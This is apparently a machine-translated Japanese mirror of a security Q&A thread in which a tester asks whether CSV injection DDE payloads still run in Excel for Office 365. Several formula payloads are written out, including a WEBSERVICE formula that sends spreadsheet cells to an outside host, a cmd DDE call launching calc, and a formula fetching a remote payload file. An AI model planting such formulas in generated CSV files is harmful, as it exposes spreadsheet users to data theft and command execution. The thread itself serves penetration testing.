web-dev-qa-db-ja.com

「= cmd」CSVインジェクションは2020年にも存在しますか?

現在、ユーザーがCSVを生成できるWebアプリケーションをテストしています。次のようなペイロードを使用して、CSVインジェクションを介してデータを引き出しました。

=WEBSERVICE(CONCAT("http://example.com/", CONCAT(A1:A50))

私は「より危険な」ペイロードを作成しようとしていますが、次のようなものを使用してオンラインで多くのリファレンスを参照しています。

=cmd|' /C calc'!A0

ただし、このようなペイロードトリガーを設定する方法が見つからないため、常に#REF!エラー。この種の攻撃は2020年でもまだ実行可能ですか?または、マイクロソフトはこれらの攻撃に対する緩和策を実装しましたか?

Excel for Office 365バージョン1902を実行しています。

6
Scaum

最後に、ペイロードが実行されなかった理由が見つかりました。DDEの起動がExcelオプションで無効にされていました。

誰かが同じ問題を抱えている場合、この設定は

File → Options → Trust Center → Trust Center Settings → External Content → Enable Dynamic Data Exchange Server Launch

リファレンス https://docs.Microsoft.com/en-us/office365/troubleshoot/security/security-settings

3
Scaum

私はこれをテストしていませんが、WEBSERVICE関数を使用して実行できる可能性があります。 Microsoft によると、この関数を使用してセルを更新し、これと組み合わせると mimecast 記事によると、この関数を使用して悪意のある「セルコード」をロードできるようです。

次のようになります。

=WEBSERVICE("http://example.com/payload.txt")

どこ payload.txtに含まれるもの:

=MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!''

ペイロードは PentestLab Blog の厚意により、同じように実行されるかどうかは不明です。

0
Blaise Brignac